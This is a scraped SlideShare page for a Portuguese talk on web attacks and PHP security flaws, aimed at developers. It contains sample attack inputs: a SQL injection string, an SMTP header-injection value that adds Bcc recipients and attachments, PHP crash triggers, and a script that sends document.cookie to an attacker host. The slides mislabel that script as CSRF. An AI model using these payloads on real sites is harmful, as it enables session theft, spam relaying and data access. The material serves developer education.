SlideShare uma empresa Scribd logo
XSS Desvendado! Ricardo Striquer Soares (twitter rstriquer) programabrasil.blogspot.com WB4B/C'
Tecnicas de ataques Spam / Phising Scam Exploits / Backdoors Botnets Package Sniffing Scanning / Port scanning Social Enginering Spywares / Keylogger  / Screenlogger DoS / DDoS  DNS Poisoning Brute Force http://en.wikipedia.org/wiki/Exploit_%28computer_security%29
Spam QUT researcher Mohammed AlZomai isi.qut.edu.au (Australia) http://www.sciencedaily.com/releases/2007/11/071107091540.htm "It is worrisome that ... when transactions faced a stealthy attack, 61% of attacks were successful."
Spywares, Keylogger  and Screenlogger http://en.wikipedia.org/wiki/Spyware
Botnets http://en.wikipedia.org/wiki/Botnets
Brute Force http://en.wikipedia.org/wiki/Brute_force_attack while ( ! ( succeed = try() ) );
Exploits  and Bugs http://en.wikipedia.org/wiki/Exploit_%28computer_security%29 php -r 'gettext(str_repeat("A",8476509));' (v5.2.5) $a=str_repeat("A", 65535); $b=1; $c=str_repeat("A", 65535); chunk_split($a,$b,$c); (v5.2.1)
Com tudo isto ...
Scanning  and Port scanning nmap -vsS nmap -vP0 (zero) nmap -vsV (exemplo de resultado abaixo) PORT  STATE  SERVICE  VERSION 21/tcp  open  ftp  vsFTPd 2.0.4 22/tcp  open  ssh  OpenSSH 4.2p1 (protocol 2.0) 25/tcp  open  smtp  qmail smtpd 80/tcp  open  http  Apache httpd 1.3.34 ((Unix) PHP/4.4.2) http://en.wikipedia.org/wiki/Nmap
Social Engineering http://en.wikipedia.org/wiki/Social_engineering_%28security%29 “ Estou retornando um chamado de suporte técnico e ...” “ Estou fazendo uma pesquisa de satisfação ...”
DNS Poisoning http://en.wikipedia.org/wiki/Dns_poisoning
DoS / DDoS Denial of Service / Distributed DoS Técnicas ICMP Floods => www.powertech.no/smurf  Teardrop => OS Upgrade Application level floods => PI* Pear-to-peer => PI* Nuke => OS Upgrade http://en.wikipedia.org/wiki/Denial-of-service_attack
Direções www.securityfocus.com  thedailywtf.com  www.istf.com.br  www.owasp.org
Notícias de ontem ... Falha no Firefox 3 expõe usuários a risco de ataque por hackers http://g1.globo.com/Noticias/Tecnologia/0,,MUL606962-6174,00-FALHA+NO+FIREFOX+EXPOE+USUARIOS+A+RISCO+DE+ATAQUE+POR+HACKERS.html Core Security Alerta Sobre Falha Crítica no Mac OS X 10.5 Leopard http://under-linux.org/core-security-alerta-sobre-falha-critica-no-mac-os-x-10-5-leopard-1971/
Oito em cada dez sites de internet são inseguros.
Existia uma história de quatro pessoas, Todomundo, Alguém, Qualquerum e Ninguém ...
“ ... Havia um importante trabalho para ser feito e Todomundo tinha certeza que Alguém faria-o. Qualquerum poderia ter feito mas Ninguém o fez. Agora quando Alguém fica brabo por causa disto, pois era trabalho de Todomundo, Todomundo pensa que Qualquerum deveria ter faito, mas Ninguém imaginou que Todomundo não o havia feito. ...”
... Ao fim Todomundo culpa Alguém quando Ninguém fez o que Qualquerum poderia ter feito! Texto do Escritório de Segurança do Departamento de Comercio Norte Americano
Segurança é  um  fator cultural, é um  dever, é   responsabilidade  de todos!
O que deve um parceiro de hospedagem fazer? Controle de acesso Politica de atualização Utilizar SPF (Sender Police Framework) IDS (Intrusion Detection System) http://www.antispam.br/admin/spf/ http://www.rnp.br/newsgen/9909/ids.html
Projetos interessantes - Google code search Encontrar falhas em sistemas open source - Hardened Linux / OpenBSD Identificar padrões de configurações - Hardened PHP Implementar - GreenSQL Implementar http://code.google.com/  http://hardenedlinux.sourceforge.net/  http://www.hardened-php.net/  http://www.greensql.net/
O que nós programadores podemos fazer?
Problemas de código Injections Session Hijacking XSS CSRF ou XSRF
Injections O que é um injection? Injections mais populares: SQL e SMTP http://en.wikipedia.org/wiki/Code_injection  http://en.wikipedia.org/wiki/SQL_injection
Injections - SQL (1/3) $db = new db(); $db->SQL = ' SELECT *  FROM user WHERE login=”'.$_GET[“login”].'”; '; $db->Execute(); $_GET[“login”] = “mayke”;
Injections - SQL (2/3) $db = new db(); $db->SQL = ' SELECT *  FROM user WHERE login=”'.$_GET[“login”].'”; '; $db->Execute(); $_GET[“login”] = “N  OR TRUE  OR login=NONE”;
Injections - SQL (3/3) If ($db->QuantidadeResultados) { echo “Deu certo!”; } If ($db->QuantidadeResultados) { $db->SQL = ' /* Novo comando com outro imput */ '; }
Injections - SMTP (1/4) mail(  $_POST[“Para”], $_POST[“Assunto”], $_POST[“Mensagem” ); $_POST[“Para”] = “destin@tario.com”;  $_POST[“Assunto”] =  “ Ataque de spammers”; $_POST[“Mensagem”] =  “ Atacaram nosso site!”;
01 Dominio destino: tario.com 02 Identificando MTAs disponiveis 03 Servidor selecionado: mx.tario.com 04 Conexao socket estabelecida! 05 R: 220 mx01.tario.com ESMTP 06 S: 35 bytes 07 T: 0.41055202484131 sec 08  09 W: EHLO lucremais.com 10 S: 21 bytes 11 R: 250-mx01.tario.com 12 S: 29 bytes 13 R: 250-PIPELINING 14 S: 14 bytes 15 R: 250-8BITMIME 16 S: 12 bytes 17 R: 250-SIZE 30000000 18 S: 17 bytes 19 R: 250 AUTH LOGIN PLAIN CRAM-MD5 20 S: 29 bytes 21 T: 0.053061962127686 sec 22 23 W: MAIL FROM: <script@site.com> 24 S: 28 bytes 25 R: 250 ok 26 S: 6 bytes 27 T: 0.81833100318909 sec 28  29 W: RCPT TO: <destin@tario.com> 30 S: 36 bytes 31 R: 250 ok 32 S: 6 bytes 33 T: 0.043802976608276 sec 34 W: DATA 35 S: 4 bytes 36 R: 354 go ahead 37 S: 12 bytes 38 T: 0.082557916641235 sec 39  40 W: MIME-Version: 1.0 41 X-SenderEngineVersion: 1.0 42 X-SenderEngineName: Ideias Pontual - iMail 43 Return-path: NomeFrom <script@site.com> 44 Content-Type: text/plain; 45  charset=ISO-8859-1 46 Reply-to: NomeFrom <script@site.com> 47 Date: Sat, 21 Jul 2007 13:53:15 -0300 48 From: NomeFrom <script@site.com> 49 To: NomeTo <destin@tario.com> 50 Subject: Teste de envio texto! 51  52 Teste 53 . 54 S: 379 bytes 55 R: 250 ok 1185036797 qp 31968 56 S: 26 bytes 57 T: 0.20024585723877 sec 58 59 W: QUIT 60 S: 4 bytes 61 R: 221 mx01.tario.com 62 S: 29 bytes 63 T: 0.044206857681274 sec 64  65 Tempo total de envio: 1.6655600070953 sec W=comando; R=resposta; S=Tamanho do texto; T=Milisegundos entre a escruta e a leitura Injections - SMTP (2/4)
mail(  $_POST[“Para”], $_POST[“Assunto”], $_POST[“Mensagem” ); $_POST[“Para”] = “haxor@attack.com%0ASubject:Mwahahaha%0ABcc:target@nothappy.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A<u>HTML%20Message.</u>%0A%0A--frog%0AContent-Type:text/html;name=Security.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:attachment%0A%0A<u>HTML%20File</u>%0A%0A--frog--%0A”;  $_POST[“Assunto”] =  “ Ataque de spammers”; $_POST[“Mensagem”] =  “ Atacaram nosso site!”; Injections - SMTP (3/4)
01: From: script@site.com 02: Subject: Ataque de spammers 03: To: destin@tario.com  04:  05: Atacaram nosso site! 06:  07: . From: site@site.com Subject: Ataque de spammers To:  [email_address] Subject:Mwahahaha Bcc:target@nothappy.com Content-Type:multipart/mixed; boundary=frog; --frog Content-Type:text/html <b>HTML Message.</b> --frog-- Content-Type:text/html;name=Security.html; Content-Transfer-Encoding:8bit Content-Disposition: attachment <u>HTML File</u> --frog-- Atacaram nosso site! . Injections - SMTP (4/4)
Session Hijacking Session fixation (bookmark) Sedejacking (sniffing) XSS e CSRF http://en.wikipedia.org/wiki/Session_hijacking
XSS  $_POST[“msg'] = '<h4><font color=red>Este site foi hackeado!</font></h4>' Cross Site Scripting Também referenciado como CSS http://en.wikipedia.org/wiki/Cross_site_scripting
CSRF (ou XSRF) <script> window.location= 'http://www.hacker.com?' + document.cookie </script> Cross Site Request Forgering http://en.wikipedia.org/wiki/Cross-site_request_forgery
* I M P O R T A N T E * $_GET $_POST $_SERVER $_FILES $_ENV $_COOKIES
Segurança é  um  fator cultural, é um  dever, é   responsabilidade  de todos!
Fim! Agradecimentos ProPHP Tempo Real WB4B/C' Sites úteis www.php.net/security  www.php-security.org blog.php-security.org phpsec.org  www.phpsecure.info www.programabrasil.org

Mais conteúdo relacionado

Mais procurados

Dwrsecomp
DwrsecompDwrsecomp
Dwrsecomp
Handerson Frota
 
Conceitos de Ajax
Conceitos de AjaxConceitos de Ajax
Conceitos de Ajax
Handerson Frota
 
OWASP TOP 10 - Web Security
OWASP TOP 10 - Web SecurityOWASP TOP 10 - Web Security
OWASP TOP 10 - Web Security
Marlon Bernardes
 
Reverse Ajax Dwr
Reverse Ajax DwrReverse Ajax Dwr
Reverse Ajax Dwr
Handerson Frota
 
Desenvolvimento web seguro cookies - Rodolfo Stangherlin
Desenvolvimento web seguro cookies - Rodolfo StangherlinDesenvolvimento web seguro cookies - Rodolfo Stangherlin
Desenvolvimento web seguro cookies - Rodolfo Stangherlin
Tchelinux
 
Comet - ReverseAjax com DWR - Resumo
Comet - ReverseAjax com DWR - ResumoComet - ReverseAjax com DWR - Resumo
Comet - ReverseAjax com DWR - Resumo
Handerson Frota
 
Teste de Segurança: Vulnerabilidade de Aplicações Web
Teste de Segurança: Vulnerabilidade de Aplicações WebTeste de Segurança: Vulnerabilidade de Aplicações Web
Teste de Segurança: Vulnerabilidade de Aplicações Web
Marcio Roberto de Souza Godoi
 
"Por trás da criação de um simulador de operações cibernéticas: unindo virtua...
"Por trás da criação de um simulador de operações cibernéticas: unindo virtua..."Por trás da criação de um simulador de operações cibernéticas: unindo virtua...
"Por trás da criação de um simulador de operações cibernéticas: unindo virtua...
WeOp - The Operations Summit
 
Segurança & Ruby on Rails
Segurança & Ruby on RailsSegurança & Ruby on Rails
Segurança & Ruby on Rails
Julio Monteiro
 
Aumente a velocidade de seu site com o Varnish: Proxy cache para sites com co...
Aumente a velocidade de seu site com o Varnish: Proxy cache para sites com co...Aumente a velocidade de seu site com o Varnish: Proxy cache para sites com co...
Aumente a velocidade de seu site com o Varnish: Proxy cache para sites com co...
Marcelo Dieder
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Clavis Segurança da Informação
 
Prevenindo XSS: Execute apenas o SEU código
Prevenindo XSS: Execute apenas o SEU códigoPrevenindo XSS: Execute apenas o SEU código
Prevenindo XSS: Execute apenas o SEU código
Er Galvão Abbott
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
Magno Logan
 
Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHP
Flavio Souza
 
Segurança em aplicações web: pequenas ideias, grandes resultados
Segurança em aplicações web: pequenas ideias, grandes resultadosSegurança em aplicações web: pequenas ideias, grandes resultados
Segurança em aplicações web: pequenas ideias, grandes resultados
Alex Camargo
 
Detecção e prevenção de vulnerabilidades no Wordpress.
Detecção e prevenção de vulnerabilidades no Wordpress.Detecção e prevenção de vulnerabilidades no Wordpress.
Detecção e prevenção de vulnerabilidades no Wordpress.
João Neto
 
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasTratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Magno Logan
 
Desenvolvimento de Software Seguro
Desenvolvimento de Software SeguroDesenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Augusto Lüdtke
 
Muito além do alert() em ataques web client side
Muito além do alert() em ataques web client sideMuito além do alert() em ataques web client side
Muito além do alert() em ataques web client side
Nullbyte Security Conference
 
iMasters Intercon Dev WordPress - Segurança em WordPress
iMasters Intercon Dev WordPress - Segurança em WordPressiMasters Intercon Dev WordPress - Segurança em WordPress
iMasters Intercon Dev WordPress - Segurança em WordPress
Erick Belluci Tedeschi
 

Mais procurados (20)

Dwrsecomp
DwrsecompDwrsecomp
Dwrsecomp
 
Conceitos de Ajax
Conceitos de AjaxConceitos de Ajax
Conceitos de Ajax
 
OWASP TOP 10 - Web Security
OWASP TOP 10 - Web SecurityOWASP TOP 10 - Web Security
OWASP TOP 10 - Web Security
 
Reverse Ajax Dwr
Reverse Ajax DwrReverse Ajax Dwr
Reverse Ajax Dwr
 
Desenvolvimento web seguro cookies - Rodolfo Stangherlin
Desenvolvimento web seguro cookies - Rodolfo StangherlinDesenvolvimento web seguro cookies - Rodolfo Stangherlin
Desenvolvimento web seguro cookies - Rodolfo Stangherlin
 
Comet - ReverseAjax com DWR - Resumo
Comet - ReverseAjax com DWR - ResumoComet - ReverseAjax com DWR - Resumo
Comet - ReverseAjax com DWR - Resumo
 
Teste de Segurança: Vulnerabilidade de Aplicações Web
Teste de Segurança: Vulnerabilidade de Aplicações WebTeste de Segurança: Vulnerabilidade de Aplicações Web
Teste de Segurança: Vulnerabilidade de Aplicações Web
 
"Por trás da criação de um simulador de operações cibernéticas: unindo virtua...
"Por trás da criação de um simulador de operações cibernéticas: unindo virtua..."Por trás da criação de um simulador de operações cibernéticas: unindo virtua...
"Por trás da criação de um simulador de operações cibernéticas: unindo virtua...
 
Segurança & Ruby on Rails
Segurança & Ruby on RailsSegurança & Ruby on Rails
Segurança & Ruby on Rails
 
Aumente a velocidade de seu site com o Varnish: Proxy cache para sites com co...
Aumente a velocidade de seu site com o Varnish: Proxy cache para sites com co...Aumente a velocidade de seu site com o Varnish: Proxy cache para sites com co...
Aumente a velocidade de seu site com o Varnish: Proxy cache para sites com co...
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
 
Prevenindo XSS: Execute apenas o SEU código
Prevenindo XSS: Execute apenas o SEU códigoPrevenindo XSS: Execute apenas o SEU código
Prevenindo XSS: Execute apenas o SEU código
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
 
Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHP
 
Segurança em aplicações web: pequenas ideias, grandes resultados
Segurança em aplicações web: pequenas ideias, grandes resultadosSegurança em aplicações web: pequenas ideias, grandes resultados
Segurança em aplicações web: pequenas ideias, grandes resultados
 
Detecção e prevenção de vulnerabilidades no Wordpress.
Detecção e prevenção de vulnerabilidades no Wordpress.Detecção e prevenção de vulnerabilidades no Wordpress.
Detecção e prevenção de vulnerabilidades no Wordpress.
 
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasTratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
 
Desenvolvimento de Software Seguro
Desenvolvimento de Software SeguroDesenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
 
Muito além do alert() em ataques web client side
Muito além do alert() em ataques web client sideMuito além do alert() em ataques web client side
Muito além do alert() em ataques web client side
 
iMasters Intercon Dev WordPress - Segurança em WordPress
iMasters Intercon Dev WordPress - Segurança em WordPressiMasters Intercon Dev WordPress - Segurança em WordPress
iMasters Intercon Dev WordPress - Segurança em WordPress
 

Semelhante a XSS Desvendado

Pentest conisli07
Pentest conisli07Pentest conisli07
Pentest conisli07
Roberto Castro
 
Palestra criando aplicações seguras com php (2)
Palestra  criando aplicações seguras com php (2)Palestra  criando aplicações seguras com php (2)
Palestra criando aplicações seguras com php (2)
Leandro Lugaresi
 
Espionagem e Software Livre
Espionagem e Software LivreEspionagem e Software Livre
Espionagem e Software Livre
Átila Camurça
 
Segurança Web com PHP5
Segurança Web com PHP5Segurança Web com PHP5
Segurança Web com PHP5
Douglas V. Pasqua
 
Palestra Evolução e Perigos da Internet
Palestra Evolução e Perigos da InternetPalestra Evolução e Perigos da Internet
Palestra Evolução e Perigos da Internet
Fabrício Basto
 
"Hacking+PHP"
"Hacking+PHP""Hacking+PHP"
"Hacking+PHP"
Erick Belluci Tedeschi
 
Ransomware
RansomwareRansomware
Ransomware
Flavio Shiga
 
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas
Proteja sua Hovercraft: Mantendo sua nave livre dos SentinelasProteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas
Alexandro Silva
 
Palestra - FACSENAC - De Hacker e louco, todo mundo tem um pouco
Palestra - FACSENAC - De Hacker e louco, todo mundo tem um poucoPalestra - FACSENAC - De Hacker e louco, todo mundo tem um pouco
Palestra - FACSENAC - De Hacker e louco, todo mundo tem um pouco
As Zone
 
Facsenac - De hacker e louco, todo mundo tem um pouco
Facsenac - De hacker e louco, todo mundo tem um poucoFacsenac - De hacker e louco, todo mundo tem um pouco
Facsenac - De hacker e louco, todo mundo tem um pouco
Thiago Dieb
 
Slides - Uma abordagem autonômica para mitigar ciberataques em redes de compu...
Slides - Uma abordagem autonômica para mitigar ciberataques em redes de compu...Slides - Uma abordagem autonômica para mitigar ciberataques em redes de compu...
Slides - Uma abordagem autonômica para mitigar ciberataques em redes de compu...
Luiz Arthur
 
Analise de Logs
Analise de LogsAnalise de Logs
Analise de Logs
Diego Souza
 
Ethical hacking: Conceitos básicos de Testes de penetração
Ethical hacking: Conceitos básicos de Testes de penetraçãoEthical hacking: Conceitos básicos de Testes de penetração
Ethical hacking: Conceitos básicos de Testes de penetração
Cleórbete Santos
 
Slide curso metasploit
Slide curso metasploitSlide curso metasploit
Slide curso metasploit
Roberto Soares
 
Slides ataques e vulnerabilidades
Slides   ataques e vulnerabilidadesSlides   ataques e vulnerabilidades
Slides ataques e vulnerabilidades
cheeshirecat
 
Como funcionam as ameaças da internet e o cybercrime
Como funcionam as ameaças da internet e o cybercrimeComo funcionam as ameaças da internet e o cybercrime
Como funcionam as ameaças da internet e o cybercrime
Clavis Segurança da Informação
 
Explicando segurança e privacidade com Wireshark (2017)
Explicando segurança e privacidade com Wireshark (2017)Explicando segurança e privacidade com Wireshark (2017)
Explicando segurança e privacidade com Wireshark (2017)
Euler Neto
 
Introdução à Segurança da Informação
Introdução à Segurança da InformaçãoIntrodução à Segurança da Informação
Introdução à Segurança da Informação
Vinicius Marangoni
 
Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2
William Costa
 
RIA - Conhecendo o Adobe Flex 2
RIA - Conhecendo o Adobe Flex 2RIA - Conhecendo o Adobe Flex 2
RIA - Conhecendo o Adobe Flex 2
elliando dias
 

Semelhante a XSS Desvendado (20)

Pentest conisli07
Pentest conisli07Pentest conisli07
Pentest conisli07
 
Palestra criando aplicações seguras com php (2)
Palestra  criando aplicações seguras com php (2)Palestra  criando aplicações seguras com php (2)
Palestra criando aplicações seguras com php (2)
 
Espionagem e Software Livre
Espionagem e Software LivreEspionagem e Software Livre
Espionagem e Software Livre
 
Segurança Web com PHP5
Segurança Web com PHP5Segurança Web com PHP5
Segurança Web com PHP5
 
Palestra Evolução e Perigos da Internet
Palestra Evolução e Perigos da InternetPalestra Evolução e Perigos da Internet
Palestra Evolução e Perigos da Internet
 
"Hacking+PHP"
"Hacking+PHP""Hacking+PHP"
"Hacking+PHP"
 
Ransomware
RansomwareRansomware
Ransomware
 
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas
Proteja sua Hovercraft: Mantendo sua nave livre dos SentinelasProteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas
 
Palestra - FACSENAC - De Hacker e louco, todo mundo tem um pouco
Palestra - FACSENAC - De Hacker e louco, todo mundo tem um poucoPalestra - FACSENAC - De Hacker e louco, todo mundo tem um pouco
Palestra - FACSENAC - De Hacker e louco, todo mundo tem um pouco
 
Facsenac - De hacker e louco, todo mundo tem um pouco
Facsenac - De hacker e louco, todo mundo tem um poucoFacsenac - De hacker e louco, todo mundo tem um pouco
Facsenac - De hacker e louco, todo mundo tem um pouco
 
Slides - Uma abordagem autonômica para mitigar ciberataques em redes de compu...
Slides - Uma abordagem autonômica para mitigar ciberataques em redes de compu...Slides - Uma abordagem autonômica para mitigar ciberataques em redes de compu...
Slides - Uma abordagem autonômica para mitigar ciberataques em redes de compu...
 
Analise de Logs
Analise de LogsAnalise de Logs
Analise de Logs
 
Ethical hacking: Conceitos básicos de Testes de penetração
Ethical hacking: Conceitos básicos de Testes de penetraçãoEthical hacking: Conceitos básicos de Testes de penetração
Ethical hacking: Conceitos básicos de Testes de penetração
 
Slide curso metasploit
Slide curso metasploitSlide curso metasploit
Slide curso metasploit
 
Slides ataques e vulnerabilidades
Slides   ataques e vulnerabilidadesSlides   ataques e vulnerabilidades
Slides ataques e vulnerabilidades
 
Como funcionam as ameaças da internet e o cybercrime
Como funcionam as ameaças da internet e o cybercrimeComo funcionam as ameaças da internet e o cybercrime
Como funcionam as ameaças da internet e o cybercrime
 
Explicando segurança e privacidade com Wireshark (2017)
Explicando segurança e privacidade com Wireshark (2017)Explicando segurança e privacidade com Wireshark (2017)
Explicando segurança e privacidade com Wireshark (2017)
 
Introdução à Segurança da Informação
Introdução à Segurança da InformaçãoIntrodução à Segurança da Informação
Introdução à Segurança da Informação
 
Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2
 
RIA - Conhecendo o Adobe Flex 2
RIA - Conhecendo o Adobe Flex 2RIA - Conhecendo o Adobe Flex 2
RIA - Conhecendo o Adobe Flex 2
 

XSS Desvendado

  • 1. XSS Desvendado! Ricardo Striquer Soares (twitter rstriquer) programabrasil.blogspot.com WB4B/C'
  • 2. Tecnicas de ataques Spam / Phising Scam Exploits / Backdoors Botnets Package Sniffing Scanning / Port scanning Social Enginering Spywares / Keylogger / Screenlogger DoS / DDoS DNS Poisoning Brute Force http://en.wikipedia.org/wiki/Exploit_%28computer_security%29
  • 3. Spam QUT researcher Mohammed AlZomai isi.qut.edu.au (Australia) http://www.sciencedaily.com/releases/2007/11/071107091540.htm &quot;It is worrisome that ... when transactions faced a stealthy attack, 61% of attacks were successful.&quot;
  • 4. Spywares, Keylogger and Screenlogger http://en.wikipedia.org/wiki/Spyware
  • 7. Exploits and Bugs http://en.wikipedia.org/wiki/Exploit_%28computer_security%29 php -r 'gettext(str_repeat(&quot;A&quot;,8476509));' (v5.2.5) $a=str_repeat(&quot;A&quot;, 65535); $b=1; $c=str_repeat(&quot;A&quot;, 65535); chunk_split($a,$b,$c); (v5.2.1)
  • 9. Scanning and Port scanning nmap -vsS nmap -vP0 (zero) nmap -vsV (exemplo de resultado abaixo) PORT STATE SERVICE VERSION 21/tcp open ftp vsFTPd 2.0.4 22/tcp open ssh OpenSSH 4.2p1 (protocol 2.0) 25/tcp open smtp qmail smtpd 80/tcp open http Apache httpd 1.3.34 ((Unix) PHP/4.4.2) http://en.wikipedia.org/wiki/Nmap
  • 10. Social Engineering http://en.wikipedia.org/wiki/Social_engineering_%28security%29 “ Estou retornando um chamado de suporte técnico e ...” “ Estou fazendo uma pesquisa de satisfação ...”
  • 12. DoS / DDoS Denial of Service / Distributed DoS Técnicas ICMP Floods => www.powertech.no/smurf Teardrop => OS Upgrade Application level floods => PI* Pear-to-peer => PI* Nuke => OS Upgrade http://en.wikipedia.org/wiki/Denial-of-service_attack
  • 13. Direções www.securityfocus.com thedailywtf.com www.istf.com.br www.owasp.org
  • 14. Notícias de ontem ... Falha no Firefox 3 expõe usuários a risco de ataque por hackers http://g1.globo.com/Noticias/Tecnologia/0,,MUL606962-6174,00-FALHA+NO+FIREFOX+EXPOE+USUARIOS+A+RISCO+DE+ATAQUE+POR+HACKERS.html Core Security Alerta Sobre Falha Crítica no Mac OS X 10.5 Leopard http://under-linux.org/core-security-alerta-sobre-falha-critica-no-mac-os-x-10-5-leopard-1971/
  • 15. Oito em cada dez sites de internet são inseguros.
  • 16. Existia uma história de quatro pessoas, Todomundo, Alguém, Qualquerum e Ninguém ...
  • 17. “ ... Havia um importante trabalho para ser feito e Todomundo tinha certeza que Alguém faria-o. Qualquerum poderia ter feito mas Ninguém o fez. Agora quando Alguém fica brabo por causa disto, pois era trabalho de Todomundo, Todomundo pensa que Qualquerum deveria ter faito, mas Ninguém imaginou que Todomundo não o havia feito. ...”
  • 18. ... Ao fim Todomundo culpa Alguém quando Ninguém fez o que Qualquerum poderia ter feito! Texto do Escritório de Segurança do Departamento de Comercio Norte Americano
  • 19. Segurança é um fator cultural, é um dever, é responsabilidade de todos!
  • 20. O que deve um parceiro de hospedagem fazer? Controle de acesso Politica de atualização Utilizar SPF (Sender Police Framework) IDS (Intrusion Detection System) http://www.antispam.br/admin/spf/ http://www.rnp.br/newsgen/9909/ids.html
  • 21. Projetos interessantes - Google code search Encontrar falhas em sistemas open source - Hardened Linux / OpenBSD Identificar padrões de configurações - Hardened PHP Implementar - GreenSQL Implementar http://code.google.com/ http://hardenedlinux.sourceforge.net/ http://www.hardened-php.net/ http://www.greensql.net/
  • 22. O que nós programadores podemos fazer?
  • 23. Problemas de código Injections Session Hijacking XSS CSRF ou XSRF
  • 24. Injections O que é um injection? Injections mais populares: SQL e SMTP http://en.wikipedia.org/wiki/Code_injection http://en.wikipedia.org/wiki/SQL_injection
  • 25. Injections - SQL (1/3) $db = new db(); $db->SQL = ' SELECT * FROM user WHERE login=”'.$_GET[“login”].'”; '; $db->Execute(); $_GET[“login”] = “mayke”;
  • 26. Injections - SQL (2/3) $db = new db(); $db->SQL = ' SELECT * FROM user WHERE login=”'.$_GET[“login”].'”; '; $db->Execute(); $_GET[“login”] = “N OR TRUE OR login=NONE”;
  • 27. Injections - SQL (3/3) If ($db->QuantidadeResultados) { echo “Deu certo!”; } If ($db->QuantidadeResultados) { $db->SQL = ' /* Novo comando com outro imput */ '; }
  • 28. Injections - SMTP (1/4) mail( $_POST[“Para”], $_POST[“Assunto”], $_POST[“Mensagem” ); $_POST[“Para”] = “destin@tario.com”; $_POST[“Assunto”] = “ Ataque de spammers”; $_POST[“Mensagem”] = “ Atacaram nosso site!”;
  • 29. 01 Dominio destino: tario.com 02 Identificando MTAs disponiveis 03 Servidor selecionado: mx.tario.com 04 Conexao socket estabelecida! 05 R: 220 mx01.tario.com ESMTP 06 S: 35 bytes 07 T: 0.41055202484131 sec 08 09 W: EHLO lucremais.com 10 S: 21 bytes 11 R: 250-mx01.tario.com 12 S: 29 bytes 13 R: 250-PIPELINING 14 S: 14 bytes 15 R: 250-8BITMIME 16 S: 12 bytes 17 R: 250-SIZE 30000000 18 S: 17 bytes 19 R: 250 AUTH LOGIN PLAIN CRAM-MD5 20 S: 29 bytes 21 T: 0.053061962127686 sec 22 23 W: MAIL FROM: <script@site.com> 24 S: 28 bytes 25 R: 250 ok 26 S: 6 bytes 27 T: 0.81833100318909 sec 28 29 W: RCPT TO: <destin@tario.com> 30 S: 36 bytes 31 R: 250 ok 32 S: 6 bytes 33 T: 0.043802976608276 sec 34 W: DATA 35 S: 4 bytes 36 R: 354 go ahead 37 S: 12 bytes 38 T: 0.082557916641235 sec 39 40 W: MIME-Version: 1.0 41 X-SenderEngineVersion: 1.0 42 X-SenderEngineName: Ideias Pontual - iMail 43 Return-path: NomeFrom <script@site.com> 44 Content-Type: text/plain; 45 charset=ISO-8859-1 46 Reply-to: NomeFrom <script@site.com> 47 Date: Sat, 21 Jul 2007 13:53:15 -0300 48 From: NomeFrom <script@site.com> 49 To: NomeTo <destin@tario.com> 50 Subject: Teste de envio texto! 51 52 Teste 53 . 54 S: 379 bytes 55 R: 250 ok 1185036797 qp 31968 56 S: 26 bytes 57 T: 0.20024585723877 sec 58 59 W: QUIT 60 S: 4 bytes 61 R: 221 mx01.tario.com 62 S: 29 bytes 63 T: 0.044206857681274 sec 64 65 Tempo total de envio: 1.6655600070953 sec W=comando; R=resposta; S=Tamanho do texto; T=Milisegundos entre a escruta e a leitura Injections - SMTP (2/4)
  • 30. mail( $_POST[“Para”], $_POST[“Assunto”], $_POST[“Mensagem” ); $_POST[“Para”] = “haxor@attack.com%0ASubject:Mwahahaha%0ABcc:target@nothappy.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A<u>HTML%20Message.</u>%0A%0A--frog%0AContent-Type:text/html;name=Security.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:attachment%0A%0A<u>HTML%20File</u>%0A%0A--frog--%0A”; $_POST[“Assunto”] = “ Ataque de spammers”; $_POST[“Mensagem”] = “ Atacaram nosso site!”; Injections - SMTP (3/4)
